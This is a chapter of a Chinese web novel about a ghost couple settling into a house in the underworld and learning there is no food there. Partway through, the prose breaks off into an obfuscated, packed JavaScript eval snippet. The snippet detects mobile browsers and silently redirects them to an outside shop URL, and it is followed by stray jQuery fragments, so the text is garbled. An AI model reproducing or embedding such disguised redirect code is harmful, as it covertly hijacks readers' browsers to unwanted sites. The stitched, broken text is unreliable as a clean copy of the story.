4. 伴侣

作品:《假夫君他追到冥界了

    帝瑶兴奋地规划完之后,便下意识地扯着卫浔舟的袖口就要和他一起把屋子打扫打扫。


    卫浔舟垂眸,再次默默地把衣服从帝瑶手里抽了回来。


    察觉到手里一空,帝瑶转过身。看着卫浔舟特意避着自己的视线,便不自觉地蜷起手指。


    她察觉到卫浔舟有意避开与自己的接触,心中暗自记下了。


    看来他们两人虽然成了婚,但感情很是一般啊,以后还是要注意一些,莫漏出马脚。


    虽然不知道自己究竟能不能记得住。


    比如这次,拉卫浔舟的袖口完全是她下意识的行为。


    “那你……”帝瑶指了指一旁的偏房,“你收拾这屋吧,我去收拾堂屋。”


    既然怕露馅那就分开好了,省的费事。


    卫浔舟平静地点了点头,走出几步后扭头看向帝瑶那一抹红色的背影。


    然后他掉转了方向,跟着帝瑶一起去了堂屋。


    帝瑶不知道卫浔舟要做什么,便放慢了步子落在他两步之后,观察他的表情。


    卫浔舟走路不疾不徐,却没走几步就把帝瑶落在五步开外了,他依旧冷着脸。不过……他真的好有气质啊。


    帝瑶小跑两步正想凑上去问卫浔舟要做什么。她两步跨上便台阶,步幅太大险些被婚服绊倒,好不容易稳住身形却只看到卫浔舟那一方冰冷的披风衣角。


    帝瑶停下来轻轻敲了敲自己的脑袋,提醒自己一定要矜持些。


    她掸了掸衣服又整了整头发正要迈着小步进屋去就迎面撞见要出门的卫浔舟。


    不等帝瑶反应,卫浔舟就把一身桃红色袖衫裙装递到她手里。


    帝瑶杏眼瞪的圆溜溜的,满脸不可置信。


    “换上吧。”


    “这是从哪来的?”帝瑶接过衣服,惊奇地问。


    “我方才见衣柜中有衣服,想来是你……生前的衣服。”


    婚服厚重闷热,行动也不便,帝瑶早就想换掉了。


    “还能这样啊,那还挺不错的。”这身衣服的颜色是帝瑶喜欢的,料子也轻薄透气,甚是满意。


    “多谢夫君。既然生前的衣服也跟着一起过来了,你也去换一身吧,我看你的披风有些单薄了,这里阴森森的,寒气重。”


    她笑起来生动明媚,衬得这暗沉沉的冥界都亮堂了几分。


    她进屋换了衣服又在妆台前把沉甸甸的首饰都拆卸了下来,整个人都松快了不少。


    看着铜镜中自己的姣好的面容,不由自主地想到一身常服的卫浔舟。


    她是穿着一身婚服来到冥界的,那是不是就说明她死在自己的大婚之日?


    换句话说,她一个好好的新娘子为什么会死在自己成婚这一日啊?要是自己是被人杀害,那对方究竟是谁,会是卫浔舟吗?要真是被人杀害,那对方与自己得有多大的仇啊。


    镜中美人面色一改,十分忧愁。帝瑶虽然不记得生前的事情,但她还是觉得她的猜测不太可能。


    那……总不能是因为不喜欢卫浔舟宁死不屈自杀的吧?


    不可能,她是不会自杀的。


    再说说卫浔舟呢?又死在什么时候?成婚前还是成婚后?


    卫浔舟要是死在成婚前,那自己岂不是殉葬?要是死在成婚后……是被人杀害还是他自杀的?要是自杀的话,是为自己殉情吗?


    一点一点剥开混乱繁杂的思绪,越整理却越感恐怖烦乱。所有不同的可能性分别都被拴在不同的极端,而她与卫浔舟的感情究竟是爱是恨也被拴在这些不同的可能性中,要是选错了,卫浔舟势必是要起疑心的。


    帝瑶从未感觉如此纠结过,倒不是她非要追究生前已如云烟的种种,而是这关乎她今后在冥界的日子。


    目前她除了再谨慎些,就只能偷偷地试探卫浔舟的反应了。


    待藏好一切思绪,帝瑶出了门,看到卫浔舟已换下披风正在打扫正厅。


    也不知道他上哪找的箕帚、鸡毛掸子等一众工具。帝瑶先是感到意外,然后感觉自己胸-腔中的郁闷消散了许多。


    方才她自己一个人在屋里胡思乱想,不仅想不出什么名堂不说,而且还搞得心里特不痛快,把她与卫浔舟的关系猜得离谱又夸张。


    看看,卫浔舟正在埋头收拾他们两人的小屋呢,这不就说明他要与自己好好生活在这里吗?


    对帝瑶来说,有一个伴就已经知足了,不管对方是谁。而他们二人的关系目前虽不会随生前的一切一刀两断,但也长久不了,他们迟早都要各自进入下一世轮回的,所以生前的事情已经不重要了。


    重要的是卫浔舟不起疑,他们两人相互照应着过日子。


    卫浔舟干起活来不是很娴熟,而且他通身的气质与这场面看起来格格不入。


    他通身贵气,皮肤冷白,指骨分明,若是执着书卷或者笔杆,定会很养眼。


    自打在这里遇见卫浔舟,他的态度就一直冷冷的,帝瑶印象中他就是个矜贵的公子哥,如今看到他挽起袖子做家务,就连扫个地都一丝不苟,帝瑶心中原本的几分惴惴与忐忑顿时烟消云散了,她甚至还觉得卫浔舟是个细腻温柔的人。


    她不想自己耗着,会憋出心病的。


    “你对这里很熟悉吗?你来这里多久了?”临了,帝瑶又加了一句“夫君”。


    卫浔舟直起身,手上还握着扫帚,手背上青筋绷起。


    “没有,刚到。”话罢,卫浔舟攥着扫帚的手指默默加大了力道。


    “也是,咱们刚进来的时候这屋子里全是灰。”说着帝瑶拿起鸡毛掸子要掸木架上的灰尘。


    “诶夫君,箕帚有多余的吗?我去把偏房收拾了。”


    帝瑶一口一个夫君叫得顺嘴,手上的动作也干脆利落,跟卫浔舟不慌不忙慢悠悠地状态是完全不同的两种风格。


    “没有了。”卫浔舟连头都没来得及抬,就突然听到一声刺耳的巨响。


    帝瑶方才没注意脚下,把凳子给踢倒了。


    帝瑶面色尴尬,看着卫浔舟不好意色的干笑了两声。


    “不小心踢倒了。”


    “我来吧。”卫浔舟放下手中的东西,接过鸡毛掸子,然后弯腰将凳子扶了起来,“你坐这休息吧。”


    帝瑶抱着凳子绕到卫浔舟打扫过的地方,迟迟没有放下:“这次只是失误,我干活很利索的。”


    卫浔舟点了点头,专心致志地掸起了灰尘。方才帝瑶需要踮起脚尖才能够到的地方,卫浔舟只是抬抬手就轻而易举地碰到了。


    而卫浔舟需要弯腰才行的扫地的活对帝瑶来说正合适。


    于是她放下凳子开始扫起地来。


    堂屋扫完后帝瑶又去偏房扫,可偏房一尘不染的,显然早已被卫浔舟收拾过了。


    如今家中空空荡荡的,院中也不乱,眼看也没什么活了,帝瑶便想着给卫浔舟准备些茶水喝。


    万万没想到这住处什么都有,偏偏没有茶具。帝瑶在院中转了一大圈,才意识到,这里岂止是没有茶具,就连厨房灶台碗筷什么的都没有!


    “诶呦!这可真是奇了怪又要了命了!”


    帝瑶双手叉腰眉头扭作一团。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651707|188230||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着屋中卫浔舟忙碌的身影,帝瑶怎么说也要给他弄些喝的。


    她隔着篱笆看到隔壁院的房屋中有微弱的光亮,心思顿时活泛起来。她拿着挂在篱笆上的灯笼,出了自家院子到隔壁院门前,轻轻敲了敲。


    半天都没有听到任何脚步声,她又敲了好几下,听到院中一个老妇人沙哑着声音说:“门没插,直接进来吧。”


    帝瑶便推门而入。


    这家院子房屋的构造跟她与卫浔舟的院子十分不同,两相比较下,帝瑶觉得这家院子的空间十分逼仄,连自家的一半都没有。


    她巡着光找到堂屋,看到窗户上投着一个老妇人的影子,妇人拿着针线,一针又一针地做着活计。


    帝瑶敲了敲们,得到许可后进了屋。屋中只在桌上点了一根蜡烛,还有自己手中灯笼的亮光,旁的再没有多余的光亮了。


    老妇人一头银白色的头发,身形佝偻,正盘腿坐着,帝瑶进来后她也只是扫了帝瑶一眼,手上的活一点也没有受影响。


    “姑娘坐吧。”


    帝瑶扫了眼桌上的针线筐子,又看了看老妇人,这才注意到老妇人脸上除了皱纹和斑块,还有一大片伤疤,像是被烫伤的。


    “老奶奶,灯笼给您放在这里,不然屋中太暗了对眼睛不好。”


    老妇人手上一抖,随后她放下了手上的活计,就着烛光打量着帝瑶,老人浑黄的眼珠中闪过一丝亮光。


    帝瑶大大方方地给老人介绍了一下自己,然后又攀谈了几句。


    “老奶奶,您是一个人住在这里吗?”


    “是啊。”宁淑荷抬眼就看见了帝瑶心疼关心自己的目光,她哈哈笑了几声,“这里是枉死城,可不是什么好的住处,我一个人可比有人陪我呆在这里好多了。”


    帝瑶想了想确实有道理,她不禁又想到了自己和卫浔舟,年纪轻轻便双双殒命被困在这枉死城中不得入轮回,细细想来,还是自己更值得可怜。


    帝瑶把自己心中的想法都说给宁淑荷听了,逗得宁淑荷笑出了泪。


    “瑶儿姑娘这么晚来这里可是遇到了什么难事儿?”宁淑荷主动开口。


    “嘿嘿,宁奶奶真懂我,我现在确实遇到了点事情。我和我夫君今日刚搬来这里,我想着夫君他打扫屋子累了,就想给他倒些水喝,可是屋里找不到水,就连杯子碗什么的都没有。我对这枉死城也不是很熟悉就想着先到您这里借壶水还有几个碗回去,我之后加倍还给您。”


    宁淑荷听完眉头皱了皱,完全没了刚才开怀的笑意,她又重新拿起针线,绣了五六针才开口。


    “抱歉姑娘,我家没有那些东西,不光是我家,整个枉死城怕是都没有姑娘要找的东西。”


    见帝瑶百思不解,宁淑荷又开口了:“姑娘不要担心,也不用去找了。冥界的鬼魂都是不用吃喝的,姑娘的夫君自然也是不会感到口渴的。”


    “不用吃喝?那要是想吃想喝东西怎么办?您知道哪里有吃的吗?”


    帝瑶心中升起些不好的预感,随后宁淑荷的话便坐实了帝瑶心中的绝望。


    宁淑荷摆了摆手说:“我在这里呆了十几年了,除了每年寒食节前后,就没见过任何吃的喝的,你瞧瞧我这里,也连个杯子都没有呢。”


    帝瑶空着手回到了自家空旷的小院,像是被人泼了一大盆凉水,整个人蔫蔫的。


    她还记得崔判官的食料薄上记载自己此生还差三百石粮食没有吃。而在这冥界,根本就没有任何吃的。


    要想轮回转世,难道还真得在这里待到三十年后寿元耗尽才行吗?